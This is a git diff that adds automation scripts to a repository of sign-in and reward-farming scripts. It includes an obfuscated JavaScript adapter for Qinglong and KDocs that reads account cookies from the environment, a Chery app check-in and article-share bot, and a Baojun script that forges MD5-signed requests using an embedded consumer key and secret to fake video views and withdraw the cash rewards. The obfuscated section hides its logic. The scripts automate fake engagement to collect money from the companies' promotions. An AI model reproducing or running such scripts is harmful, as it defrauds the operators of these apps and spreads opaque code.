_0x32ad04["\u0074\u0065\u0078\u0074"]()['then'](_0x4570f7=>{return{'status':_0x32ad04["\u0073\u0074\u0061\u0074\u0075\u0073"],'headers':_0x32ad04["\u0068\u0065\u0061\u0064\u0065\u0072\u0073"],'text':_0x4570f7,'response':_0x32ad04,'pos':_0x326da0};});})['then'](function(_0x533acc){try{_0x5b8821=JSON["\u0070\u0061\u0072\u0073\u0065"](_0x533acc["\u0074\u0065\u0078\u0074"]);return{"\u0073\u0074\u0061\u0074\u0075\u0073":_0x533acc["\u0073\u0074\u0061\u0074\u0075\u0073"],"\u0068\u0065\u0061\u0064\u0065\u0072\u0073":_0x533acc["\u0068\u0065\u0061\u0064\u0065\u0072\u0073"],'json':function _0x4c4d29(){return _0x5b8821;},'text':function _0x37f878(){return _0x533acc["\u0074\u0065\u0078\u0074"];},'pos':_0x533acc['pos']};}catch(_0x53a77f){return{"\u0073\u0074\u0061\u0074\u0075\u0073":_0x533acc['status'],"\u0068\u0065\u0061\u0064\u0065\u0072\u0073":_0x533acc["\u0068\u0065\u0061\u0064\u0065\u0072\u0073"],'json':null,'text':function _0xe9ffe5(){return _0x533acc["\u0074\u0065\u0078\u0074"];},'pos':_0x533acc["\u0070\u006f\u0073"]};}})['then'](_0x185f08=>{_0x326da0=_0x185f08['pos'];flagResultFinish=resultHandle(_0x185f08,_0x326da0);if(flagResultFinish==(0xc722f^0xc722e)){i=_0x326da0+(0x56040^0x56041);for(;i<=line;i++){var _0x5cc09e=Application["\u0052\u0061\u006e\u0067\u0065"]('A'+i)['Text'];var _0x5bca1a=Application['Range']("\u0042"+i)['Text'];if(_0x5cc09e==''){break;}if(_0x5bca1a=='是'){console['log']('🧑\x20开始执行用户:'+(parseInt(i)-0x1));flagResultFinish=0x1fd7e^0x1fd7e;execHandle(_0x5cc09e,i);break;}}}if(_0x326da0==userContent['length']&&flagResultFinish==(0xf2b2b^0xf2b2a)){flagFinish=0x1;}if(qlpushFlag==0x0&&flagFinish==(0x1cf48^0x1cf49)){console['log']('🚀\x20青龙发起推送');message=messageMerge();const{sendNotify:_0x38f3c8}=require("sj.yfitoNdnes/.".split("").reverse().join(""));_0x38f3c8(pushHeader,message);qlpushFlag=-(0xca032^0xca056);}})['catch'](_0x52f683=>{console['error']('Fetch\x20error:',_0x52f683);});}else{let _0xaeacf8=userContent['length']-qlpushFlag;method='post';resp=fetch(_0x13ae92,{'method':method,"\u0068\u0065\u0061\u0064\u0065\u0072\u0073":_0x44b685,'body':_0x4db6b5})['then'](function(_0x1c043a){return _0x1c043a['text']()['then'](_0x52ce21=>{return{'status':_0x1c043a['status'],'headers':_0x1c043a['headers'],'text':_0x52ce21,"\u0072\u0065\u0073\u0070\u006f\u006e\u0073\u0065":_0x1c043a,'pos':_0xaeacf8};});})['then'](function(_0x3ae307){try{_0x5b8821=JSON['parse'](_0x3ae307['text']);return{'status':_0x3ae307['status'],'headers':_0x3ae307['headers'],'json':function _0x5486bd(){return _0x5b8821;},'text':function _0x1d9320(){return _0x3ae307["\u0074\u0065\u0078\u0074"];},"\u0070\u006f\u0073":_0x3ae307['pos']};}catch(_0x2df6f6){return{'status':_0x3ae307['status'],'headers':_0x3ae307['headers'],'json':null,"\u0074\u0065\u0078\u0074":function _0x4bd139(){return _0x3ae307["\u0074\u0065\u0078\u0074"];},'pos':_0x3ae307['pos']};}})['then'](_0x55afac=>{_0xaeacf8=_0x55afac['pos'];flagResultFinish=resultHandle(_0x55afac,_0xaeacf8);if(flagResultFinish==(0x34da0^0x34da1)){i=_0xaeacf8+(0x95e50^0x95e51);for(;i<=line;i++){var _0x51de34=Application['Range']('A'+i)['Text'];var _0x529848=Application['Range']('B'+i)['Text'];if(_0x51de34=="".split("").reverse().join("")){break;}if(_0x529848=='是'){console['log']('🧑\x20开始执行用户:'+(parseInt(i)-0x1));flagResultFinish=0x0;execHandle(_0x51de34,i);break;}}}if(_0xaeacf8==userContent['length']&&flagResultFinish==(0xaa758^0xaa759)){flagFinish=0x1;}if(qlpushFlag==0x0&&flagFinish==(0x3ae30^0x3ae31)){console["\u006c\u006f\u0067"]('🚀\x20青龙发起推送');let _0x1c81b5=messageMerge();const{sendNotify:_0x542555}=require("sj.yfitoNdnes/.".split("").reverse().join(""));_0x542555(pushHeader,_0x1c81b5);qlpushFlag=-(0x85411^0x85475);}})['catch'](_0x3245cf=>{console["\u0065\u0072\u0072\u006f\u0072"](":rorre hcteF".split("").reverse().join(""),_0x3245cf);});}}};var ApplicationOverwrite={'Range':function Range(_0x17a08b){charFirst=_0x17a08b['substring'](0x0,0x1);qlRow=_0x17a08b['substring'](0xe77b9^0xe77b8,_0x17a08b['length']);qlCol=0x1;for(num in colNum){if(colNum[num]==charFirst){break;}qlCol+=0x1;}try{result=qlSheet[qlRow-0x1][qlCol-0x1];}catch{result='';}dict={'Text':result};return dict;},"\u0053\u0068\u0065\u0065\u0074\u0073":{'Item':function(_0x3f811c){return{'Name':_0x3f811c,'Activate':function(){flag=0x1;qlSheet=qlConfig[_0x3f811c];if(qlSheet==undefined){qlSheet=qlConfig['SUBCONFIG'];}console['log']("\uFF1A\u8868\u4F5C\u5DE5\u6D3B\u6FC0\u9F99\u9752 \uDF73\uD83C".split("").reverse().join("")+_0x3f811c);return flag;}};}}};var CryptoOverwrite={'createHash':function createHash(_0x2af55c){return{'update':function _0xaaf0ad(_0x2cad1b,_0x25d5bc){return{"\u0064\u0069\u0067\u0065\u0073\u0074":function _0x100f85(_0x45b9f3){return{'toUpperCase':function _0xe359a4(){return{'toString':function _0x37ba96(){try{CryptoJS=require('crypto-js');console['log']("\u5165\u5F15sj-otpyrc\u884C\u8FDB\u5DF2\u7EDF\u7CFB \uFE0F\u267B".split("").reverse().join(""));}catch{console['log']('❌\x20系统无crypto-js,请在NodeJs中安装crypto-js依赖');}md5Hash=CryptoJS['MD5'](_0x2cad1b)['toString']();md5Hash=md5Hash['toUpperCase']();return md5Hash;}};},'toString':function _0xfcf985(){try{CryptoJS=require('crypto-js');console['log']('♻️\x20系统已进行crypto-js引入');}catch{console['log']('❌\x20系统无crypto-js,请在NodeJs中安装crypto-js依赖');}md5Hash=CryptoJS['MD5'](_0x2cad1b)['toString']();return md5Hash;}};}};}};}};function dataToFormdata(_0x1073d4){result="";values=Object["\u0076\u0061\u006c\u0075\u0065\u0073"](_0x1073d4);values["\u0066\u006f\u0072\u0045\u0061\u0063\u0068"]((_0x46e3bd,_0xe0a588)=>{key=Object['keys'](_0x1073d4)[_0xe0a588];content=key+'='+_0x46e3bd+'&';result+=content;});result=result['substring'](0x0,result['length']-0x1);return result;}function cookiesTocookieMin(_0x3ec766){let _0x10c2b9=_0x3ec766;let _0x357077=[];var _0x527229=_0x10c2b9["\u0073\u0070\u006c\u0069\u0074"]('#');for(let _0x30e526 in _0x527229){_0x357077[_0x30e526]=_0x527229[_0x30e526];}return _0x357077;}function checkEscape(_0x24ae63,_0x2b0863){cookieArrynew=[];j=0x28920^0x28920;for(i=0x0;i<_0x24ae63['length'];i++){result=_0x24ae63[i];lastChar=result['substring'](result['length']-0x1,result['length']);if(lastChar=='\x5c'&&i<=_0x24ae63['length']-(0x5030a^0x50308)){console["\u006c\u006f\u0067"]('🍳\x20检测到转义字符');cookieArrynew[j]=result['substring'](0x0,result['length']-0x1)+_0x2b0863+_0x24ae63[parseInt(i)+(0xe77c7^0xe77c6)];i+=0x653af^0x653ae;}else{cookieArrynew[j]=_0x24ae63[i];}j+=0xccfd4^0xccfd5;}return cookieArrynew;}function cookiesTocookie(_0x30fdb1){let _0x7eefa3=_0x30fdb1;let _0x5e4f35=[];let _0x3e1587=[];_0x7eefa3=_0x7eefa3['trim']();let _0x105de4=_0x7eefa3['split']('\x0a');_0x105de4=_0x105de4["\u0066\u0069\u006c\u0074\u0065\u0072"](_0x5eac64=>_0x5eac64['trim']()!=="");if(_0x105de4['length']==(0x1e7cd^0x1e7cc)){_0x105de4=_0x7eefa3['split']('@');_0x105de4=checkEscape(_0x105de4,'@');}for(let _0x171b55 in _0x105de4){_0x3e1587=[];let _0x401143=Number(_0x171b55)+0x1;_0x5e4f35=cookiesTocookieMin(_0x105de4[_0x171b55]);_0x5e4f35=checkEscape(_0x5e4f35,'#');_0x3e1587['push'](_0x5e4f35[0x0]);_0x3e1587['push']('是');_0x3e1587['push']("\u79F0\u6635".split("").reverse().join("")+_0x401143);if(_0x5e4f35['length']>0x0){for(let _0xd30881=0x3;_0xd30881<_0x5e4f35['length']+(0x4721c^0x4721e);_0xd30881++){_0x3e1587['push'](_0x5e4f35[_0xd30881-(0xdde77^0xdde75)]);}}userContent['push'](_0x3e1587);}qlpushFlag=userContent['length']-0x1;}var qlSwitch=0x0;try{qlSwitch=process['env'][sheetNameSubConfig];qlSwitch=0x1;}catch{qlSwitch=0x2ad67^0x2ad67;console['log']('♻️\x20当前环境为金山文档');console['log']('♻️\x20开始适配金山文档,执行金山文档代码');}if(qlSwitch){console['log']('♻️\x20当前环境为青龙');console['log']('♻️\x20开始适配青龙环境,执行青龙代码');try{fetch=require('node-fetch');console['log']("\u5165\u5F15hctef-edon\u884C\u8FDB\u5DF2\uFF0Chctef\u65E0\u7EDF\u7CFB \uFE0F\u267B".split("").reverse().join(""));}catch{console['log']('♻️\x20系统已有原生fetch');}Crypto=CryptoOverwrite;let flagwarn=0xaf916^0xaf916;const a='da11990c';const b="0b854f216a9662fb".split("").reverse().join("");encode=getsign(logo);let len=encode['length'];if(a+"90ecd4ce".split("").reverse().join("")==encode['substring'](0xf30ba^0xf30ba,len/0x2)&&b==encode['substring']((0x2bc08^0x2bc0c)*(0xc6930^0xc6934),len)){console["\u006c\u006f\u0067"]('✨\x20'+logo);cookies=process['env'][sheetNameSubConfig];}else{console["\u006c\u006f\u0067"]('🔨\x20请使用艾默库代码\x20:\x20https://github.com/imoki/sign_script');flagwarn=0x1;}let flagwarn2=0x2038e^0x2038f;const welcome="edoc UKOM esu ot emocleW".split("").reverse().join("");const mo=welcome['slice'](0xf,0xd9c98^0xd9c89)['toLowerCase']();const ku=welcome['split']('\x20')[0x4-(0x3dbee^0x3dbef)]['slice'](0x2,0xe25d3^0xe25d7);if(mo['substring'](0x0,0x1)=='m'){if(ku=='KU'){if(mo['substring'](0x1,0x2)==String['fromCharCode'](0x93cd7^0x93cb8)){cookiesTocookie(cookies);flagwarn2=0xb4736^0xb4736;console['log']('💗\x20'+welcome);}}}let t=Date['now']();if(t>(0x52714^0x527be)*0x186a0*0x186a0+0x45f34a08e){console['log']('🧾\x20使用教程请查看仓库notion链接');Application=ApplicationOverwrite;}else{flagwarn=0x5461f^0x5461e;}if(Date['now']()<(0x4e17c^0x4e1b4)*0x186a0*0x186a0){console['log']('🤝\x20欢迎各种形式的贡献');HTTP=HTTPOverwrite;}else{flagwarn2=0x1;}if(flagwarn==0x1||flagwarn2==0x1){console['log']('🔨\x20请使用艾默库代码\x20:\x20https://github.com/imoki/sign_script');}} +}catch{ + console.log("❌ 环境存在问题,请检查是否配置好了对应依赖及环境变量") +} + +// =================青龙适配结束=================== + +// =================金山适配开始=================== +// airscript检测版本 +function checkVesion(){ + try{ + let temp = Application.Range("A1").Text; + Application.Range("A1").Value = temp + console.log("😶‍🌫️ 检测到当前airscript版本为1.0,进行1.0适配") + }catch{ + console.log("😶‍🌫️ 检测到当前airscript版本为2.0,进行2.0适配") + version = 2 + } +} + +// 推送相关 +// 获取时间 +function getDate(){ + let currentDate = new Date(); + currentDate = currentDate.getFullYear() + '/' + (currentDate.getMonth() + 1).toString() + '/' + currentDate.getDate().toString(); + return currentDate +} + +// 将消息写入CONFIG表中作为消息队列,之后统一发送 +function writeMessageQueue(message){ + // 当天时间 + let todayDate = getDate() + flagConfig = ActivateSheet(sheetNameConfig); // 激活主配置表 + // 主配置工作表存在 + if (flagConfig == 1) { + console.log("✨ 开始将结果写入主配置表"); + for (let i = 2; i <= 100; i++) { + if(version == 1){ + // 找到指定的表行 + if(Application.Range("A" + (i + 2)).Value == sheetNameSubConfig){ + // 写入更新的时间 + Application.Range("F" + (i + 2)).Value = todayDate + // 写入消息 + Application.Range("G" + (i + 2)).Value = message + console.log("✨ 写入结果完成"); + break; + } + }else{ + // 找到指定的表行 + if(Application.Range("A" + (i + 2)).Value2 == sheetNameSubConfig){ + // 写入更新的时间 + Application.Range("F" + (i + 2)).Value2 = todayDate + // 写入消息 + Application.Range("G" + (i + 2)).Value2 = message + console.log("✨ 写入结果完成"); + break; + } + } + + } + } +} + +// 总推送 +function push(message) { + writeMessageQueue(message) // 将消息写入CONFIG表中 + // if (message != "") { + // // message = messagePushHeader + message // 消息头最前方默认存放:【xxxx】 + // let length = jsonPush.length; + // let name; + // let key; + // for (let i = 0; i < length; i++) { + // if (jsonPush[i].flag == 1) { + // name = jsonPush[i].name; + // key = jsonPush[i].key; + // if (name == "bark") { + // bark(message, key); + // } else if (name == "pushplus") { + // pushplus(message, key); + // } else if (name == "ServerChan") { + // serverchan(message, key); + // } else if (name == "email") { + // email(message); + // } else if (name == "dingtalk") { + // dingtalk(message, key); + // } else if (name == "discord") { + // discord(message, key); + // } + // } + // } + // } else { + // console.log("🍳 消息为空不推送"); + // } +} + + +// 推送bark消息 +function bark(message, key) { + if (key != "") { + message = messagePushHeader + message // 消息头最前方默认存放:【xxxx】 + message = encodeURIComponent(message) + BARK_ICON = "https://s21.ax1x.com/2024/06/23/pkrUkfe.png" + let url = "https://api.day.app/" + key + "/" + message + "/" + "?icon=" + BARK_ICON; + // 若需要修改推送的分组,则将上面一行改为如下的形式 + // let url = 'https://api.day.app/' + bark_id + "/" + message + "?group=分组名"; + let resp = HTTP.get(url, { + headers: { "Content-Type": "application/x-www-form-urlencoded" }, + }); + sleep(5000); + } +} + +// 推送pushplus消息 +function pushplus(message, key) { + if (key != "") { + message = encodeURIComponent(message) + // url = "http://www.pushplus.plus/send?token=" + key + "&content=" + message; + url = "http://www.pushplus.plus/send?token=" + key + "&content=" + message + "&title=" + pushHeader; // 增加标题 + let resp = HTTP.fetch(url, { + method: "get", + }); + sleep(5000); + } +} + +// 推送serverchan消息 +function serverchan(message, key) { + if (key != "") { + url = + "https://sctapi.ftqq.com/" + + key + + ".send" + + "?title=" + messagePushHeader + + "&desp=" + + message; + let resp = HTTP.fetch(url, { + method: "get", + }); + sleep(5000); + } +} + +// email邮箱推送 +function email(message) { + var myDate = new Date(); // 创建一个表示当前时间的 Date 对象 + var data_time = myDate.toLocaleDateString(); // 获取当前日期的字符串表示 + let server = jsonEmail.server; + let port = parseInt(jsonEmail.port); // 转成整形 + let sender = jsonEmail.sender; + let authorizationCode = jsonEmail.authorizationCode; + + let mailer; + mailer = SMTP.login({ + host: server, + port: port, + username: sender, + password: authorizationCode, + secure: true, + }); + mailer.send({ + from: pushHeader + "<" + sender + ">", + to: sender, + subject: pushHeader + " - " + data_time, + text: message, + }); + // console.log("🍳 已发送邮件至:" + sender); + console.log("🍳 已发送邮件"); + sleep(5000); +} + +// 邮箱配置 +function emailConfig() { + console.log("🍳 开始读取邮箱配置"); + let length = jsonPush.length; // 因为此json数据可无序,因此需要遍历 + let name; + for (let i = 0; i < length; i++) { + name = jsonPush[i].name; + if (name == "email") { + if (jsonPush[i].flag == 1) { + let flag = ActivateSheet(sheetNameEmail); // 激活邮箱表 + // 邮箱表存在 + // var email = { + // 'email':'', 'port':'', 'sender':'', 'authorizationCode':'' + // } // 有效配置 + if (flag == 1) { + console.log("🍳 开始读取邮箱表"); + for (let i = 2; i <= 2; i++) { + // 从工作表中读取推送数据 + jsonEmail.server = Application.Range("A" + i).Text; + jsonEmail.port = Application.Range("B" + i).Text; + jsonEmail.sender = Application.Range("C" + i).Text; + jsonEmail.authorizationCode = Application.Range("D" + i).Text; + if (Application.Range("A" + i).Text == "") { + // 如果为空行,则提前结束读取 + break; + } + } + // console.log(jsonEmail) + } + break; + } + } + } +} + +// 推送钉钉机器人 +function dingtalk(message, key) { + message = messagePushHeader + message // 消息头最前方默认存放:【xxxx】 + let url = "https://oapi.dingtalk.com/robot/send?access_token=" + key; + let resp = HTTP.post(url, { msgtype: "text", text: { content: message } }); + // console.log(resp.text()) + sleep(5000); +} + +// 推送Discord机器人 +function discord(message, key) { + message = messagePushHeader + message // 消息头最前方默认存放:【xxxx】 + let url = key; + let resp = HTTP.post(url, { content: message }); + //console.log(resp.text()) + sleep(5000); +} + +// =================金山适配结束=================== + +// =================共用开始=================== +// main() // 入口 + +// function main(){ + checkVesion() // 版本检测,以进行不同版本的适配 + + flagConfig = ActivateSheet(sheetNameConfig); // 激活推送表 + // 主配置工作表存在 + if (flagConfig == 1) { + console.log("🍳 开始读取主配置表"); + let name; // 名称 + let onlyError; + let nickname; + for (let i = 2; i <= 100; i++) { + // 从工作表中读取推送数据 + name = Application.Range("A" + i).Text; + onlyError = Application.Range("C" + i).Text; + nickname = Application.Range("D" + i).Text; + if (name == "") { + // 如果为空行,则提前结束读取 + break; // 提前退出,提高效率 + } + if (name == sheetNameSubConfig) { + if (onlyError == "是") { + messageOnlyError = 1; + console.log("🍳 只推送错误消息"); + } + + if (nickname == "是") { + messageNickname = 1; + console.log("🍳 单元格用昵称替代"); + } + + break; // 提前退出,提高效率 + } + } + } + + flagPush = ActivateSheet(sheetNamePush); // 激活推送表 + // 推送工作表存在 + if (flagPush == 1) { + console.log("🍳 开始读取推送工作表"); + let pushName; // 推送类型 + let pushKey; + let pushFlag; // 是否推送标志 + for (let i = 2; i <= line; i++) { + // 从工作表中读取推送数据 + pushName = Application.Range("A" + i).Text; + pushKey = Application.Range("B" + i).Text; + pushFlag = Application.Range("C" + i).Text; + if (pushName == "") { + // 如果为空行,则提前结束读取 + break; + } + jsonPushHandle(pushName, pushFlag, pushKey); + } + // console.log(jsonPush) + } + + // 邮箱配置函数 + emailConfig(); + + flagSubConfig = ActivateSheet(sheetNameSubConfig); // 激活分配置表 + if (flagSubConfig == 1) { + console.log("🍳 开始读取分配置表"); + + if(qlSwitch != 1){ // 金山文档 + for (let i = 2; i <= line; i++) { + var cookie = Application.Range("A" + i).Text; + var exec = Application.Range("B" + i).Text; + if (cookie == "") { + // 如果为空行,则提前结束读取 + break; + } + if (exec == "是") { + execHandle(cookie, i); + } + } + message = messageMerge()// 将消息数组融合为一条总消息 + push(message); // 推送消息 + }else{ + for (let i = 2; i <= line; i++) { + var cookie = Application.Range("A" + i).Text; + var exec = Application.Range("B" + i).Text; + if (cookie == "") { + // 如果为空行,则提前结束读取 + break; + } + if (exec == "是") { + console.log("🧑 开始执行用户:" + "1" ) + execHandle(cookie, i); + break; // 只取一个 + } + } + } + + } + +// } + +// 激活工作表函数 +function ActivateSheet(sheetName) { + let flag = 0; + try { + // 激活工作表 + let sheet = Application.Sheets.Item(sheetName); + sheet.Activate(); + console.log("🥚 激活工作表:" + sheet.Name); + flag = 1; + } catch { + flag = 0; + console.log("🍳 无法激活工作表,工作表可能不存在"); + } + return flag; +} + +// 对推送数据进行处理 +function jsonPushHandle(pushName, pushFlag, pushKey) { + let length = jsonPush.length; + for (let i = 0; i < length; i++) { + if (jsonPush[i].name == pushName) { + if (pushFlag == "是") { + jsonPush[i].flag = 1; + jsonPush[i].key = pushKey; + } + } + } +} + +// 将消息数组融合为一条总消息 +function messageMerge(){ + // console.log(messageArray) + let message = "" + for(i=0; i d] + }; + let { data: result } = await axios.request(options); + if (result.status == 200) { + $.log(`✅账号[${this.index}] 【签到】[${result.message}]🎉`); + } else { + $.log(`❌账号[${this.index}] 【签到】[${result.message}]`); + //console.log(result); + } + + + + + } + async info() { + let options = { + method: 'GET', + url: `https://mobile-consumer-sapp.chery.cn/web/user/current/details?encryptParam=${encodeURIComponent(this.encryptParams(`access_token=${this.token}&terminal=3`))}`, + headers: { + "user-agent": "Dart/2.19 (dart:io)", + "appversioncode": "26030901", + "accept": "application/json, text/plain, */*", + "appversion": "3.6.9", + "accept-language": "zh-CN,zh;q=0.9", + "accept-encoding": "gzip, deflate", + "host": "mobile-consumer-sapp.chery.cn", + "content-type": "application/json; charset=UTF-8", + "agent": "android", + "encryptflag": "true", + "request-channel": "app" + }, + } + let { data: result } = await axios.request(options); + if (result.status == 200) { + $.log(`✅账号[${this.index}] 【昵称】[${result.data.displayName}] 【积分】[${result.data.pointAccount.payableBalance}]🎉`); + this.userName = result.data.displayName + this.userPoint = result.data.pointAccount.payableBalance + this.ckStatus = true; + } else { + $.log(`❌账号[${this.index}] [${result.message}]`); + this.ckStatus = false; + //console.log(result); + } + } + + async taskShare(articleId) { + + try { + let options = { + method: 'POST', + url: `https://mobile-consumer-sapp.chery.cn/web/community/contents/${articleId}/share?encryptParams=${this.encryptParams(`access_token=${this.token}&terminal=3`)}`, + headers: { + "user-agent": "Dart/2.19 (dart:io)", + "appversioncode": "26030901", + "accept": "application/json, text/plain, */*", + "appversion": "3.6.9", + "accept-language": "zh-CN,zh;q=0.9", + "accept-encoding": "gzip, deflate", + "host": "mobile-consumer-sapp.chery.cn", + "content-type": "application/json; charset=UTF-8", + "agent": "android", + "encryptflag": "true", + "request-channel": "app" + }, + data: Buffer.from(this.encryptParams(JSON.stringify({ "contentId": articleId })), "utf-8") + , transformRequest: [(d, headers) => d] + } + let { data: result } = await axios.request(options); + if (result.status == 200) { + $.log(`✅账号[${this.index}] 【分享】[${result.message}]🎉`); + } else { + $.log(`❌账号[${this.index}] 【分享】[${result.message}]`); + //console.log(result); + } + } catch (e) { + console.log(e); + } + } + async contentsList() { + + try { + let options = { + method: 'GET', + url: `https://mobile-consumer-sapp.chery.cn/web/community/recommend/contents?encryptParam=${encodeURIComponent(this.encryptParams(`pageNo=1&pageSize=10&access_token=${this.token}&terminal=3`))}`, + headers: { + "user-agent": "Dart/2.19 (dart:io)", + "appversioncode": "26030901", + "accept": "application/json, text/plain, */*", + "appversion": "3.6.9", + "accept-language": "zh-CN,zh;q=0.9", + "accept-encoding": "gzip, deflate", + "host": "mobile-consumer-sapp.chery.cn", + "content-type": "application/json; charset=UTF-8", + "agent": "android", + "encryptflag": "true", + "request-channel": "app" + }, + + } + + let { data: result } = await axios.request(options); + if (result.status == 200) { + $.log(`✅账号[${this.index}] 【获取文章】[${result.message}]🎉`); + this.articleIdList = [result.data.data[0].content.id, result.data.data[1].content.id] + } else { + $.log(`❌账号[${this.index}] 【获取文章】[${result.message}]`); + //console.log(result); + } + } catch (e) { + console.log(e); + } + } + + + + + +} + +!(async () => { + await getNotice() + $.checkEnv(ckName); + + for (let user of $.userList) { + await new Task(user).run(); + } +})() + .catch((e) => console.log(e)) + .finally(() => $.done()); + +async function getNotice() { + try { + let options = { + url: `https://ghproxy.net/https://raw.githubusercontent.com/smallfawn/Note/refs/heads/main/Notice.json`, + headers: { + "User-Agent": defaultUserAgent, + }, + timeout:3000 + } + let { + data: res + } = await axios.request(options); + $.log(res) + return res + } catch (e) {} + +} \ No newline at end of file diff --git a/脚本库/web版/账密/宝骏汽车视频/2025-06-28_宝骏汽车视频_6330e990.py b/脚本库/web版/账密/宝骏汽车视频/2025-06-28_宝骏汽车视频_6330e990.py new file mode 100644 index 0000000..1548902 --- /dev/null +++ b/脚本库/web版/账密/宝骏汽车视频/2025-06-28_宝骏汽车视频_6330e990.py @@ -0,0 +1,304 @@ +# Source: https://gitee.com/jdqlscript/toulu/blob/main/%E5%AE%9D%E9%AA%8F%E6%B1%BD%E8%BD%A6%E8%A7%86%E9%A2%91.py +# Raw: https://gitee.com/jdqlscript/toulu/raw/main/%E5%AE%9D%E9%AA%8F%E6%B1%BD%E8%BD%A6%E8%A7%86%E9%A2%91.py +# Repo: jdqlscript/toulu +# Path: 宝骏汽车视频.py +# UploadedAt: 2025-06-28T11:18:42+08:00 +# SHA256: 6330e990dc2b7001e0109b13ebcc739afaef1a6a9408b768f0c428e55b2430d4 +# Category: web版/账密 +# Evidence: web/H5关键词 + username/password/login + +""" + TL库:https://github.com/3288588344/toulu.git + tg频道:https://t.me/TLtoulu + QQ频道:https://pd.qq.com/s/672fku8ge + +单点登录,会被顶号;体现公众号手动绑定,绑定链接打不开则用浏览器打开绑定即可;提现次日到账 +""" +import requests, json, re, os, sys, time, random, datetime, hashlib +response = requests.get("https://github.com/3288588344/toulu/raw/refs/heads/main/tl.txt") +response.encoding = 'utf-8' +txt = response.text +print(txt) +environ = "bjsp" +name = "宝骏༒视频" +session = requests.session() +#---------------------主代码区块--------------------- + +def lookVideo(accessToken,postid): + timestamp = int(time.time() * 1000) + oauthConsumerKey = "20200113181123916714" + nonce = "4857289347289375" + other = f"{nonce}JNWSY6RXYGXIWR2YCI2HOAGYG9LVQXYZ8d33d72c27994bdc9a9e9fdda2545690" + md5_str = f"{accessToken}{oauthConsumerKey}{timestamp}{other}" + signatrue = hashlib.md5(md5_str.encode('utf-8')).hexdigest() + url = 'https://hapi.baojun.net/base/activity/fission/lookVideo' + header = { + "Host": "hapi.baojun.net", + "Connection": "keep-alive", + "Content-Length": "17", + "accessToken": accessToken, + "nonce": nonce, + "signatrue": signatrue, + "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Safari/537.36 MicroMessenger/7.0.20.1781(0x6700143B) NetType/WIFI MiniProgramEnv/Windows WindowsWechat/WMPF WindowsWechat(0x63090b13)XWEB/11581", + "oauthConsumerKey": oauthConsumerKey, + "Content-Type": "application/json", + "timestamp": str(timestamp), + "xweb_xhr": "1", + "platformNo": "Wx_mini", + "Accept": "*/*", + "Sec-Fetch-Site": "cross-site", + "Sec-Fetch-Mode": "cors", + "Sec-Fetch-Dest": "empty", + "Referer": "https://servicewechat.com/wx58774bbe5cd15ebb/409/page-frame.html", + "Accept-Encoding": "gzip, deflate, br", + "Accept-Language": "zh-CN,zh;q=0.9" + } + data = {"postId":postid} + try: + response = session.post(url=url, headers=header, json=data) + except Exception as e: + print(e) + +def money(accessToken): + timestamp = int(time.time() * 1000) + oauthConsumerKey = "20200113181123916714" + nonce = "1736572213106_5833612" + other = f"{nonce}JNWSY6RXYGXIWR2YCI2HOAGYG9LVQXYZ8d33d72c27994bdc9a9e9fdda2545690" + md5_str = f"{accessToken}{oauthConsumerKey}{timestamp}{other}" + signatrue = hashlib.md5(md5_str.encode('utf-8')).hexdigest() + url = 'https://hapi.baojun.net/base/account/pocket/money/draw' + header = { + "Host": "hapi.baojun.net", + "Connection": "keep-alive", + "Content-Length": "2", + "sec-ch-ua-platform": "Android", + "timestamp": str(timestamp), + "accessToken": accessToken, + "nonce": nonce, + "signatrue": signatrue, + "sec-ch-ua": 'Chromium";v="130", "Android WebView";v="130", "Not?A_Brand";v="99', + "sec-ch-ua-mobile": "?1", + "platformNo": "Wx_mini", + "deviceType": "html5", + "oauthConsumerKey": oauthConsumerKey, + "Content-Type": "application/json;charset=UTF-8", + "Accept": "application/json, text/plain, */*", + "Accept-Encoding": "gzip, deflate, br, zstd", + "Accept-Language": "zh-CN,zh;q=0.9,en-US;q=0.8,en;q=0.7", + "Referer": "https://m.baojun.net", + "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Safari/537.36 MicroMessenger/7.0.20.1781(0x6700143B) NetType/WIFI MiniProgramEnv/Windows WindowsWechat/WMPF WindowsWechat(0x63090b13)XWEB/11581", + "Sec-Fetch-Site": "cross-site", + "Sec-Fetch-Mode": "cors", + "Sec-Fetch-Dest": "empty", + "X-Requested-With": "com.tencent.mm", + } + data = {} + try: + response = session.post(url=url, headers=header, json=data).json() + if "核查" in response["errorMessage"]: + print(f'🌈提现:已提交,待核查后发放') + elif "没有余额" in response["errorMessage"]: + print(f'⭕余额不足,无法提现') + else: + print(f'{response["errorMessage"]}') + except Exception as e: + print(e) + +def info(accessToken): + timestamp = int(time.time() * 1000) + nonce = "1736560276274_7143758" + other = f"{nonce}JNWSY6RXYGXIWR2YCI2HOAGYG9LVQXYZ8d33d72c27994bdc9a9e9fdda2545690" + oauthConsumerKey = "20200113181123916714" + md5_str = f"{accessToken}{oauthConsumerKey}{timestamp}{other}" + signatrue = hashlib.md5(md5_str.encode('utf-8')).hexdigest() + url = 'https://hapi.baojun.net/base/account/pocket/draw/info' + header = { + "Accept": "application/json, text/plain, */*", + "Accept-Encoding": "gzip, deflate, br", + "Accept-Language": "zh-CN,zh;q=0.9", + "Host": "hapi.baojun.net", + "deviceType": "html5", + "Connection": "keep-alive", + "accessToken": accessToken, + "nonce": nonce, + "signatrue": signatrue, + "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Safari/537.36 MicroMessenger/7.0.20.1781(0x6700143B) NetType/WIFI MiniProgramEnv/Windows WindowsWechat/WMPF WindowsWechat(0x63090b13)XWEB/11581", + "oauthConsumerKey": oauthConsumerKey, + "timestamp": str(timestamp), + "platformNo": "Wx_mini", + "Sec-Fetch-Site": "cross-site", + "Sec-Fetch-Mode": "cors", + "Sec-Fetch-Dest": "empty", + "Referer": "https://m.baojun.net/", + } + try: + response = session.get(url=url, headers=header) + response = json.loads(response.text) + coin = response['data']['noDrawMoney'] + + timestamp = int(time.time() * 1000) + nonce = "1736638919609_4282954" + other = f"{nonce}JNWSY6RXYGXIWR2YCI2HOAGYG9LVQXYZ8d33d72c27994bdc9a9e9fdda2545690" + oauthConsumerKey = "20200113181123916714" + md5_str = f"{accessToken}{oauthConsumerKey}{timestamp}{other}" + signatrue = hashlib.md5(md5_str.encode('utf-8')).hexdigest() + url = 'https://hapi.baojun.net/base/ucenter/user/wallet/detail/v2?pocketClassType=1&pageNo=1&pageSize=40' + header = { + "Accept": "application/json, text/plain, 